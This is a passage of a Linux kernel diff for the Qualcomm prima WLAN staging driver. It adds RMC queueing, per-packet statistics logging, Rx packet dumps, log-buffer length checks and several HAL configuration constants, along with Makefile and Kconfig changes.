b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi_dp.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -458,7 +458,8 @@ WDI_FillTxBd pBd->dpuRF = BMUWQ_BTQM_TX_MGMT; } - if (ucTxFlag & WDI_USE_FW_IN_TX_PATH) + if (ucTxFlag & WDI_USE_FW_IN_TX_PATH || + (pWDICtx->sendMgmtPktViaWQ5 && (ucType == WDI_MAC_MGMT_FRAME))) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "iType: %d SubType %d, MAC S: %08x. MAC D: %08x., Tid=%d", @@ -891,6 +892,13 @@ WDI_FillTxBd WDI_STATableGetStaType(pWDICtx, ucStaId, &ucSTAType); if(!ucUnicastDst) +#ifdef WLAN_FEATURE_RMC + /*Check for RMC enabled bit if set then + queue frames in QID 5 else 0*/ + if ( ucTxFlag & WDI_RMC_REQUESTED_MASK ) + pBd->queueId = BTQM_QID5; + else +#endif pBd->queueId = BTQM_QID0; #ifndef HAL_SELF_STA_PER_BSS else if( ucUnicastDst && (ucStaId == pWDICtx->ucSelfStaId)) diff --git a/drivers/staging/prima/CORE/WDI/DP/inc/wlan_qct_wdi_ds.h b/drivers/staging/prima/CORE/WDI/DP/inc/wlan_qct_wdi_ds.h index fea8be8717f99..483ad65980b29 100644 --- a/drivers/staging/prima/CORE/WDI/DP/inc/wlan_qct_wdi_ds.h +++ b/drivers/staging/prima/CORE/WDI/DP/inc/wlan_qct_wdi_ds.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -168,6 +168,7 @@ typedef struct #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD wpt_uint32 offloadScanLearn; wpt_uint32 roamCandidateInd; + wpt_uint32 perRoamCndInd; #endif #ifdef WLAN_FEATURE_EXTSCAN wpt_uint32 extscanBuffer; @@ -186,6 +187,7 @@ typedef struct sPktMetaInfo typedef struct { + wpt_uint16 status; wpt_boolean active; wpt_uint64 logBuffAddress[MAX_NUM_OF_BUFFER]; wpt_uint32 logBuffLength[MAX_NUM_OF_BUFFER]; @@ -193,6 +195,7 @@ typedef struct wpt_uint8 logType; /* Indicate if Last segment of log is received*/ wpt_boolean done; + wpt_uint16 reasonCode; } WDI_DS_LoggingSessionType; WPT_STATIC WPT_INLINE WDI_DS_RxMetaInfoType* WDI_DS_ExtractRxMetaData (wpt_packet *pFrame) @@ -214,7 +217,7 @@ WPT_STATIC WPT_INLINE WDI_DS_TxMetaInfoType* WDI_DS_ExtractTxMetaData (wpt_packe typedef void (*WDI_DS_TxCompleteCallback)(void *pContext, wpt_packet *pFrame); typedef void (*WDI_DS_RxPacketCallback) (void *pContext, wpt_packet *pFrame); typedef void (*WDI_DS_TxFlowControlCallback)(void *pContext, wpt_uint8 ac_mask); -typedef void (*WDI_DS_RxLogCallback)(void); +typedef void (*WDI_DS_RxLogCallback)(wpt_uint8 logType); diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h index f7e74d1bb87eb..363c94637deb1 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h @@ -93,6 +93,11 @@ typedef enum WDTS_POWER_STATE_MAX } WDTS_PowerStateType; +typedef enum +{ + WDTS_LOGGING_STATUS_SUCCESS, + WDTS_LOGGING_STATUS_ERROR +} WDTS_LoggingSessionStatus; typedef wpt_status (*WDTS_TxCompleteCbType)(void *pContext, wpt_packet *pFrame, wpt_status status); typedef wpt_status (*WDTS_RxFrameReadyCbType) (void *pContext, wpt_packet *pFrame, WDTS_ChannelType channel); diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c index 1aebf0af58b7e..1480e54ad920a 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c @@ -49,6 +49,7 @@ #include "vos_utils.h" #include "vos_api.h" + static WDTS_TransportDriverTrype gTransportDriver = { WLANDXE_Open, WLANDXE_Start, @@ -79,6 +80,9 @@ typedef struct #define WDTS_MAX_PAGE_SIZE 4096 #define WDTS_MAX_RXDB_DATA_SIZE 128 +#define MAC_ADDR_ARRAY(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] +#define MAC_ADDRESS_STR "%02x:%02x:%02x:%02x:%02x:%02x" + struct WDTS_RxPktInfo { uint8 rx_bd[WDTS_MAX_RXDB_DATA_SIZE]; @@ -585,6 +589,84 @@ WDTS_StoreMetaInfo(wpt_packet *pFrame, wpt_uint8 *pBDHeader) return; } +/** + *WDTS_RxPacketDump - Dump Rx packet details + *@pFrame: pointer to first Rx buffer received + *@pRxMetadata: pointer to RX packet Meta Info + * + *DTS utility to dump RX packet details. + * + *Return: None. + */ +static void WDTS_RxPacketDump(vos_pkt_t *pFrame, + WDI_DS_RxMetaInfoType *pRxMetadata) +{ + tpSirMacMgmtHdr pHdr; + struct sk_buff *skb = NULL; + uint8_t proto_type; + uint8_t flag = 0x0F; + wpt_status status; + + if (NULL == pRxMetadata) { + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: RX Meta data info is NULL", __func__); + return; + } + + pHdr = (tpSirMacMgmtHdr)pRxMetadata->mpduHeaderPtr; + + /* RX packet type*/ + if (pRxMetadata->bcast) + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s RX Data frame is BC", __func__); + else if (pHdr->da[0] & 0x01) + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s RX Data frame is MC", __func__); + else + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s RX Data frame is UC", __func__); + + /* 802.11 packet type, subtype */ + if (WDI_MAC_MGMT_FRAME == pRxMetadata->type) { + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: Management subtype:%d SA:"MAC_ADDRESS_STR" DA:" + MAC_ADDRESS_STR, __func__, pRxMetadata->subtype, + MAC_ADDR_ARRAY(pHdr->sa), MAC_ADDR_ARRAY(pHdr->da)); + } else if (WDI_MAC_CTRL_FRAME == pRxMetadata->type) { + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: Control subtype:%d SA:"MAC_ADDRESS_STR" DA:" + MAC_ADDRESS_STR, __func__, pRxMetadata->subtype, + MAC_ADDR_ARRAY(pHdr->sa), MAC_ADDR_ARRAY(pHdr->da)); + } else if (WDI_MAC_DATA_FRAME == pRxMetadata->type) { + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: Data subtype:%d SA:"MAC_ADDRESS_STR" DA:" + MAC_ADDRESS_STR, __func__, pRxMetadata->subtype, + MAC_ADDR_ARRAY(pHdr->sa), MAC_ADDR_ARRAY(pHdr->da)); + + status = vos_pkt_get_os_packet(pFrame, (v_VOID_t **)&skb, 0); + if (eWLAN_PAL_STATUS_SUCCESS != status) { + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: Failure extracting skb from vos pkt", __func__); + return; + } + + proto_type = vos_pkt_get_proto_type(skb, flag); + if (VOS_PKT_PROTO_TYPE_EAPOL & proto_type) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: RX frame is EAPOL", __func__); + else if (VOS_PKT_PROTO_TYPE_DHCP & proto_type) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: RX frame is DHCP", __func__); + else if (VOS_PKT_PROTO_TYPE_ARP & proto_type) + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: RX frame is ARP", __func__); + + } else + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "%s: Unknown frame SA:"MAC_ADDRESS_STR, + __func__, MAC_ADDR_ARRAY(pHdr->sa)); +} + /* DTS Rx packet function. * This function should be invoked by the transport device to indicate * reception of a frame. @@ -605,6 +687,8 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c wpt_uint16 usMPDUDOffset, usMPDULen; WDI_DS_RxMetaInfoType *pRxMetadata; wpt_uint8 isFcBd = 0; + WDI_DS_LoggingSessionType *pLoggingSession; + tPerPacketStats rxStats = {0}; tpSirMacFrameCtl pMacFrameCtl; // Do Sanity checks @@ -615,7 +699,9 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c // Normal DMA transfer does not contain RxBD if (WDTS_CHANNEL_RX_FW_LOG == channel) { - wpalFwLogPktSerialize(pFrame); + pLoggingSession = (WDI_DS_LoggingSessionType *) + WDI_DS_GetLoggingSession(pContext); + wpalFwLogPktSerialize(pFrame, pLoggingSession->logType); return eWLAN_PAL_STATUS_SUCCESS; } @@ -799,6 +885,7 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD pRxMetadata->offloadScanLearn = WDI_RX_BD_GET_OFFLOADSCANLEARN(pBDHeader); pRxMetadata->roamCandidateInd = WDI_RX_BD_GET_ROAMCANDIDATEIND(pBDHeader); + pRxMetadata->perRoamCndInd = WDI_RX_BD_GET_PER_ROAMCANDIDATEIND(pBDHeader); #endif #ifdef WLAN_FEATURE_EXTSCAN pRxMetadata->extscanBuffer = WDI_RX_BD_GET_EXTSCANFULLSCANRESIND(pBDHeader); @@ -871,24 +958,48 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c { vos_record_roam_event(e_DXE_RX_PKT_TIME, (void *)pFrame, pRxMetadata->type); } - // Invoke Rx complete callback - pClientData->receiveFrameCB(pClientData->pCallbackContext, pFrame); + if ((WLAN_LOG_LEVEL_ACTIVE == + vos_get_ring_log_level(RING_ID_PER_PACKET_STATS)) && + !(WDI_MAC_CTRL_FRAME == pRxMetadata->type)) + { + vos_mem_zero(&rxStats,sizeof(tPerPacketStats)); + /* Peer tx packet and it is an Rx packet for us */ + rxStats.is_rx= VOS_TRUE; + rxStats.tid = ucTid; + rxStats.rssi = (pRxMetadata->rssi0 > pRxMetadata->rssi1)? + pRxMetadata->rssi0 : pRxMetadata->rssi1; + rxStats.rate_idx = pRxMetadata->rateIndex; + rxStats.seq_num = pRxMetadata->currentPktSeqNo; + rxStats.dxe_timestamp = vos_timer_get_system_ticks(); + rxStats.data_len = + vos_copy_80211_data(pFrame, rxStats.data, pRxMetadata->type); + wpalPerPktSerialize(&rxStats); + } + + /* Dump first Rx packet after host wakeup */ + if (vos_get_rx_wow_dump()) { + WDTS_RxPacketDump((vos_pkt_t*)pFrame, pRxMetadata); + vos_set_rx_wow_dump(false); + } + + /* Invoke Rx complete callback */ + pClientData->receiveFrameCB(pClientData->pCallbackContext, pFrame); } else { wpalPacketSetRxLength(pFrame, usMPDULen+ucMPDUHOffset); wpalPacketRawTrimHead(pFrame, ucMPDUHOffset); - //flow control related + /* flow control related */ pRxMetadata->fc = isFcBd; pRxMetadata->mclkRxTimestamp = WDI_RX_BD_GET_TIMESTAMP(pBDHeader); pRxMetadata->fcStaTxDisabledBitmap = WDI_RX_FC_BD_GET_STA_TX_DISABLED_BITMAP(pBDHeader); pRxMetadata->fcSTAValidMask = WDI_RX_FC_BD_GET_STA_VALID_MASK(pBDHeader); - // Invoke Rx complete callback + /* Invoke Rx complete callback */ pClientData->receiveFrameCB(pClientData->pCallbackContext, pFrame); } - //Log the RX Stats + /* Log the RX Stats */ if(gDsTrafficStats.running && pRxMetadata->staId < HAL_NUM_STA) { if(pRxMetadata->rateIndex < WDTS_MAX_RATE_NUM) @@ -939,6 +1050,35 @@ wpt_status WDTS_OOResourceNotification(void *pContext, WDTS_ChannelType channel, } +void WDTS_LogRxDone(void *pContext) +{ + WDI_DS_LoggingSessionType *pLoggingSession; + + pLoggingSession = (WDI_DS_LoggingSessionType *) + WDI_DS_GetLoggingSession(pContext); + + if (NULL == pContext || pLoggingSession == NULL) + { + return; + } + /* check for done and Log type Mgmt frame = 0, QXDM = 1, FW Mem dump = 2 */ + if (pLoggingSession->done && pLoggingSession->logType <= VALID_FW_LOG_TYPES) + vos_process_done_indication(pLoggingSession->logType, + pLoggingSession->reasonCode); + + + if (pLoggingSession->logType == QXDM_LOGGING && + pLoggingSession->reasonCode) + pLoggingSession->logType = FATAL_EVENT; + ((WDI_DS_ClientDataType *)(pContext))->rxLogCB(pLoggingSession->logType); + + pLoggingSession->done = 0; + pLoggingSession->logType = 0; + pLoggingSession->reasonCode = 0; + + return; +} + void WDTS_MbReceiveMsg(void *pContext) { tpLoggingMailBox pLoggingMb; @@ -950,10 +1090,30 @@ void WDTS_MbReceiveMsg(void *pContext) pLoggingSession = (WDI_DS_LoggingSessionType *) WDI_DS_GetLoggingSession(pContext); + for(i = 0; i < MAX_NUM_OF_BUFFER; i++) + { + totalLen += pLoggingMb->logBuffLength[i]; + // Send done indication when the logbuffer size exceeds 128KB. + if (totalLen > MAX_LOG_BUFFER_LENGTH || pLoggingMb->logBuffLength[i] > MAX_LOG_BUFFER_LENGTH) + { + DTI_TRACE( DTI_TRACE_LEVEL_ERROR, " %d received invalid log buffer length", + totalLen); + // Done using Mailbox, zero out the memory. + wpalMemoryZero(pLoggingMb, sizeof(tLoggingMailBox)); + wpalMemoryZero(pLoggingSession, sizeof(WDI_DS_LoggingSessionType)); + //Set Status as Failure + pLoggingSession->status = WDTS_LOGGING_STATUS_ERROR; + WDTS_LogRxDone(pContext); + + return; + } + } + + totalLen = 0; for(i = 0; i < MAX_NUM_OF_BUFFER; i++) { pLoggingSession->logBuffAddress[i] = pLoggingMb->logBuffAddress[i]; - if (!noMem && (pLoggingMb->logBuffLength[i] <= MAX_LOG_BUFFER_LENGTH)) + if (!noMem) { pLoggingSession->logBuffLength[i] = gTransportDriver.setupLogTransfer( pLoggingMb->logBuffAddress[i], @@ -975,6 +1135,8 @@ void WDTS_MbReceiveMsg(void *pContext) pLoggingSession->done = pLoggingMb->done; pLoggingSession->logType = pLoggingMb->logType; + pLoggingSession->reasonCode = pLoggingMb->reasonCode; + pLoggingSession->status = WDTS_LOGGING_STATUS_SUCCESS; // Done using Mailbox, zero out the memory. wpalMemoryZero(pLoggingMb, sizeof(tLoggingMailBox)); @@ -987,28 +1149,6 @@ void WDTS_MbReceiveMsg(void *pContext) // Send Done event to upper layers, since we wont be getting any from DXE } -void WDTS_LogRxDone(void *pContext) -{ - WDI_DS_LoggingSessionType *pLoggingSession; - - pLoggingSession = (WDI_DS_LoggingSessionType *) - WDI_DS_GetLoggingSession(pContext); - - if (NULL == pContext || pLoggingSession == NULL) - { - return; - } - /* check for done and Log type Mgmt frame = 0, QXDM = 1, FW Mem dump = 2 */ - if (pLoggingSession->done && pLoggingSession->logType <= VALID_FW_LOG_TYPES) - vos_process_done_indication(pLoggingSession->logType, 0); - - pLoggingSession->done = 0; - pLoggingSession->logType = 0; - ((WDI_DS_ClientDataType *)(pContext))->rxLogCB(); - - return; -} - /* DTS open function. * On open the transport device should initialize itself. * Parameters: @@ -1109,6 +1249,7 @@ wpt_status WDTS_TxPacket(void *pContext, wpt_packet *pFrame) WDI_DS_TxMetaInfoType *pTxMetadata; WDTS_ChannelType channel = WDTS_CHANNEL_TX_LOW_PRI; wpt_status status = eWLAN_PAL_STATUS_SUCCESS; + tPerPacketStats txPktStat = {0}; // extract metadata from PAL packet pTxMetadata = WDI_DS_ExtractTxMetaData(pFrame); @@ -1143,6 +1284,20 @@ wpt_status WDTS_TxPacket(void *pContext, wpt_packet *pFrame) #endif // Send packet to Transport Driver. status = gTransportDriver.xmit(pDTDriverContext, pFrame, channel); + if ((WLAN_LOG_LEVEL_ACTIVE == + vos_get_ring_log_level(RING_ID_PER_PACKET_STATS)) && + !(pTxMetadata->frmType & WDI_MAC_CTRL_FRAME)){ + + vos_mem_zero(&txPktStat,sizeof(tPerPacketStats)); + txPktStat.tid = pTxMetadata->fUP; + txPktStat.dxe_timestamp = vos_timer_get_system_ticks(); + /*HW limitation cant get the seq number*/ + txPktStat.seq_num = 0; + txPktStat.data_len = + vos_copy_80211_data((void *)pFrame, txPktStat.data, + pTxMetadata->frmType); + wpalPerPktSerialize(&txPktStat); + } if (((WDI_ControlBlockType *)pContext)->roamDelayStatsEnabled) { vos_record_roam_event(e_DXE_FIRST_XMIT_TIME, (void *)pFrame, pTxMetadata->frmType); diff --git a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_device.h b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_device.h index 8cb3c322513d7..bf13fe1b088c6 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_device.h +++ b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_device.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -306,4 +306,10 @@ void wpalActivateRxInterrupt(void); */ void wpalInactivateRxInterrupt(void); + +int wpal_get_int_state +( + wpt_uint32 intType +); + #endif /* WLAN_QCT_PAL_DEVICE_H*/ diff --git a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h index 027d966fec470..e57fda9d6a600 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h +++ b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h @@ -446,7 +446,22 @@ void wpalLogPktSerialize ---------------------------------------------------------------------------*/ void wpalFwLogPktSerialize ( - wpt_packet *pFrame + wpt_packet *pFrame, wpt_uint32 pktType +); + +/*--------------------------------------------------------------------------- + wpalPerPktSerialize - Serialize perpkt data to logger thread + + Param: + + + Return: + NONE + +---------------------------------------------------------------------------*/ +void wpalPerPktSerialize +( + void *perPktStat ); /*--------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_device.c b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_device.c index 1c0837174aee2..3a435653a8913 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_device.c +++ b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_device.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -823,3 +823,28 @@ wpt_status wpalNotifySmsm return eWLAN_PAL_STATUS_SUCCESS; } +/* Get Interrupt Status */ +int wpal_get_int_state +( + wpt_uint32 intType +) +{ + int ret; + ret = 0; + + switch (intType) + { + case DXE_INTERRUPT_RX_READY: + if (gpEnv->rx_isr_enabled == 1) + ret = 1; + break; + case DXE_INTERRUPT_TX_COMPLE: + if (gpEnv->tx_isr_enabled == 1) + ret = 1; + break; + default: + break; + } + + return ret; +} diff --git a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c index e5b310bca7a80..da46cba724812 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c +++ b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c @@ -1069,8 +1069,27 @@ void wpalLogPktSerialize ---------------------------------------------------------------------------*/ void wpalFwLogPktSerialize ( - wpt_packet *pFrame + wpt_packet *pFrame, wpt_uint32 pktType +) +{ + vos_logger_pkt_serialize(WPAL_TO_VOS_PKT(pFrame), pktType); +} + + +/*--------------------------------------------------------------------------- + wpalPerPktSerialize - Serialize perpkt data to logger thread + + Param: + + + Return: + NONE + +---------------------------------------------------------------------------*/ +void wpalPerPktSerialize +( + void *perPktStat ) { - vos_logger_pkt_serialize(WPAL_TO_VOS_PKT(pFrame),LOG_PKT_TYPE_FW_LOG); + vos_per_pkt_stats_to_user(perPktStat); } diff --git a/drivers/staging/prima/Kconfig b/drivers/staging/prima/Kconfig index 387b29f8ecb0d..c659de614b460 100644 --- a/drivers/staging/prima/Kconfig +++ b/drivers/staging/prima/Kconfig @@ -53,4 +53,8 @@ config ENABLE_LINUX_REG bool "Enable linux regulatory feature" default n +config WLAN_OFFLOAD_PACKETS + bool "Enable offload packets feature" + default n + endif # PRIMA_WLAN || PRONTO_WLAN diff --git a/drivers/staging/prima/Makefile b/drivers/staging/prima/Makefile index 003ebec2f2962..b9b9a05de174a 100644 --- a/drivers/staging/prima/Makefile +++ b/drivers/staging/prima/Makefile @@ -9,7 +9,7 @@ CONFIG_QCOM_ESE := n CONFIG_QCOM_ESE_UPLOAD := n #Whether to build debug version -BUILD_DEBUG_VERSION := 1 +BUILD_DEBUG_VERSION := 0 #Enable this flag to build driver in diag version BUILD_DIAG_VERSION := 1 @@ -152,6 +152,7 @@ MAC_LIM_OBJS := $(MAC_SRC_DIR)/pe/lim/limAIDmgmt.o \ $(MAC_SRC_DIR)/pe/lim/limProcessProbeRspFrame.o \ $(MAC_SRC_DIR)/pe/lim/limProcessSmeReqMessages.o \ $(MAC_SRC_DIR)/pe/lim/limPropExtsUtils.o \ + $(MAC_SRC_DIR)/pe/lim/limRMC.o \ $(MAC_SRC_DIR)/pe/lim/limRoamingAlgo.o \ $(MAC_SRC_DIR)/pe/lim/limScanResultUtils.o \ $(MAC_SRC_DIR)/pe/lim/limSecurityUtils.o \ @@ -502,6 +503,7 @@ CDEFINES := -DANI_BUS_TYPE_PLATFORM=1 \ -DWLAN_FEATURE_GTK_OFFLOAD \ -DWLAN_WAKEUP_EVENTS \ -DWLAN_KD_READY_NOTIFIER \ + -DWLAN_FEATURE_RMC \ -DWLAN_NL80211_TESTMODE \ -DFEATURE_WLAN_BATCH_SCAN \ -DFEATURE_WLAN_LPHB \ @@ -512,7 +514,9 @@ CDEFINES := -DANI_BUS_TYPE_PLATFORM=1 \ -DWLAN_DXE_LOW_RESOURCE_TIMER \ -DWLAN_LOGGING_SOCK_SVC_ENABLE \ -DWLAN_FEATURE_LINK_LAYER_STATS \ - -DWLAN_FEATURE_EXTSCAN + -DWLAN_FEATURE_EXTSCAN \ + -DFEATURE_EXT_LL_STAT \ + -DWLAN_VOWIFI_DEBUG ifneq ($(CONFIG_PRONTO_WLAN),) CDEFINES += -DWCN_PRONTO @@ -526,6 +530,7 @@ CDEFINES += -DWLAN_DEBUG \ -DSME_TRACE_RECORD \ -DPE_DEBUG_LOGW \ -DPE_DEBUG_LOGE \ + -DDXE_TRACE \ -DDEBUG endif @@ -553,15 +558,7 @@ endif #normally, TDLS negative behavior is not needed ifeq ($(CONFIG_QCOM_TDLS),y) CDEFINES += -DFEATURE_WLAN_TDLS -ifeq ($(BUILD_DEBUG_VERSION),1) -CDEFINES += -DWLAN_FEATURE_TDLS_DEBUG -endif CDEFINES += -DCONFIG_TDLS_IMPLICIT -#CDEFINES += -DFEATURE_WLAN_TDLS_NEGATIVE -#Code under FEATURE_WLAN_TDLS_INTERNAL is ported from volans, This code -#is not tested only verifed that it compiles. This is not required for -#supplicant based implementation -#CDEFINES += -DFEATURE_WLAN_TDLS_INTERNAL endif ifeq ($(CONFIG_PRIMA_WLAN_BTAMP),y) @@ -619,7 +616,11 @@ CDEFINES += -DEXISTS_MSM_SMSM endif # Fix build for GCC 4.7 -EXTRA_CFLAGS += -Wno-maybe-uninitialized -Wno-unused-function +EXTRA_CFLAGS += -Wno-maybe-uninitialized -Wno-unused-function -Wno-unused-variable + +ifeq ($(CONFIG_WLAN_OFFLOAD_PACKETS),y) +CDEFINES += -DWLAN_FEATURE_OFFLOAD_PACKETS +endif KBUILD_CPPFLAGS += $(CDEFINES) diff --git a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h index d1e06039f8e10..115c120d5d751 100644 --- a/drivers/staging/prima/riva/inc/wlan_hal_cfg.h +++ b/drivers/staging/prima/riva/inc/wlan_hal_cfg.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013,2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -159,7 +159,7 @@ #define QWLAN_HAL_CFG_ENABLE_DETECT_PS_SUPPORT 101 #define QWLAN_HAL_CFG_AP_LINK_MONITOR_TIMEOUT 102 #define QWLAN_HAL_CFG_BTC_DWELL_TIME_MULTIPLIER 103 -#define QWLAN_HAL_CFG_ENABLE_TDLS_OXYGEN_MODE 104 +#define QWLAN_HAL_CFG_ENABLE_TDLS_MODE 104 #define QWLAN_HAL_CFG_ENABLE_NAT_KEEP_ALIVE_FILTER 105 #define QWLAN_HAL_CFG_ENABLE_SAP_OBSS_PROT 106 #define QWLAN_HAL_CFG_PSPOLL_DATA_RECEP_TIMEOUT 107 @@ -225,7 +225,7 @@ #define QWLAN_HAL_CFG_BTC_STATIC_OPP_WLAN_ACTIVE_BT_LEN 167 #define QWLAN_HAL_CFG_BTC_SAP_STATIC_OPP_WLAN_ACTIVE_WLAN_LEN 168 #define QWLAN_HAL_CFG_BTC_SAP_STATIC_OPP_WLAN_ACTIVE_BT_LEN 169 -#define QWLAN_HAL_CFG_RMCAST_FIXED_RATE 170 +#define QWLAN_HAL_CFG_RMC_FIXED_RATE 170 #define QWLAN_HAL_CFG_ASD_PROBE_INTERVAL 171 #define QWLAN_HAL_CFG_ASD_TRIGGER_THRESHOLD 172 #define QWLAN_HAL_CFG_ASD_RTT_RSSI_HYST_THRESHOLD 173 @@ -273,14 +273,16 @@ #define QWLAN_HAL_CFG_LINK_FAIL_TX_CNT 215 #define QWLAN_HAL_CFG_TOGGLE_ARP_BDRATES 216 #define QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT 217 +#define QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE 218 #define QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE 219 #define QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE 220 +#define QWLAN_HAL_CFG_UNITS_OF_BCN_WAIT_TIME 221 +#define QWLAN_HAL_CFG_CONS_BCNMISS_COUNT 222 -#define QWLAN_HAL_CFG_MAX_PARAMS 220 - +#define QWLAN_HAL_CFG_MAX_PARAMS 223 /* Total number of Integer CFGs. This is used while allocating the memory for TLV */ -#define QWLAN_HAL_CFG_INTEGER_PARAM 220 +#define QWLAN_HAL_CFG_INTEGER_PARAM 223 /*------------------------------------------------------------------------- Configuration Parameter min, max, defaults @@ -445,6 +447,14 @@ #define QWLAN_HAL_CFG_FIXED_RATE_STAMAX 226 #define QWLAN_HAL_CFG_FIXED_RATE_STADEF QWLAN_HAL_CFG_FIXED_RATE_AUTO +/* QWLAN_HAL_CFG_RMC_FIXED_RATE + * Follwing rates in user configuration are mapped to TPE rates + * Mapping is defined in the gHalUserFixedRateCfgToTpeRateTable + */ +#define QWLAN_HAL_CFG_RMC_FIXED_RATE_STAMIN 0 +#define QWLAN_HAL_CFG_RMC_FIXED_RATE_STAMAX 226 +#define QWLAN_HAL_CFG_RMC_FIXED_RATE_STADEF QWLAN_HAL_CFG_FIXED_RATE_24MBPS + /* QWLAN_HAL_CFG_RETRYRATE_POLICY */ #define QWLAN_HAL_CFG_RETRYRATE_POLICY_STAMIN 0 #define QWLAN_HAL_CFG_RETRYRATE_POLICY_STAMAX 255 @@ -881,11 +891,10 @@ #define QWLAN_HAL_CFG_BTC_DWELL_TIME_MULTIPLIER_MAX 300 #define QWLAN_HAL_CFG_BTC_DWELL_TIME_MULTIPLIER_DEF 300 -/* QWLAN_HAL_CFG_ENABLE_TDLS_OXYGEN_MODE */ -#define QWLAN_HAL_CFG_ENABLE_TDLS_OXYGEN_MODE_MIN 0 -#define QWLAN_HAL_CFG_ENABLE_TDLS_OXYGEN_MODE_MAX 1 -#define QWLAN_HAL_CFG_ENABLE_TDLS_OXYGEN_MODE_DEF 0 - +/* QWLAN_HAL_CFG_ENABLE_TDLS_MODE */ +#define QWLAN_HAL_CFG_ENABLE_TDLS_MODE_MIN 0 +#define QWLAN_HAL_CFG_ENABLE_TDLS_MODE_MAX 1 +#define QWLAN_HAL_CFG_ENABLE_TDLS_MODE_DEF 0 /* QWLAN_HAL_CFG_ENABLE_NAT_KEEP_ALIVE_FILTER */ #define QWLAN_HAL_CFG_ENABLE_NAT_KEEP_ALIVE_FILTER_MIN 0 #define 